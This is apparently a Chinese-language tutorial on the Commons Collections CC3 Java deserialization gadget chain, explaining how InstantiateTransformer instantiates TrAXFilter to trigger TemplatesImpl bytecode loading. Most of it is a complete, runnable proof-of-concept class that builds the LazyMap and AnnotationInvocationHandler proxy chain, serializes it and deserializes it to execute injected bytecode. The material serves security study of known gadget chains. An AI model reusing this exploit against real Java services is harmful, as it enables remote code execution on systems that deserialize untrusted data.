CC3

沿用CC1的环境即可

只是最终命令执行的方法换了,后面链子没啥区别

POP

newTransformer

在讲 ClassLoaderTemplatesImpl 时说到

最后有两个public,其中一个是newTransformer,这是最终命令执行的入口

InstantiateTransformer

另一个最大的区别就是没有使用 InvokerTransformer ,而是 InstantiateTransformer

这个类的transform的特点就是,通过反射获取构造方法并实例化某个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

我们可以通过这个类实例化 TrAXFilter ,因为它在构造函数里面就会调用newTransformer,正好串上了 TemplatesImpl 的链子

完整链

最终的链子(就不细讲,大体思想一样,区别就上面介绍的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

public class CC3Test {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\java\\classes\\TemplateslmplTest.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue("_name", "Hello", templatesImpl);
setFieldValue("_bytecodes", new byte[][]{code}, templatesImpl);
setFieldValue("_outputProperties", new Properties(), templatesImpl);
setFieldValue("_indentNumber", 0, templatesImpl);
setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler i = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);

Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}

public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}

}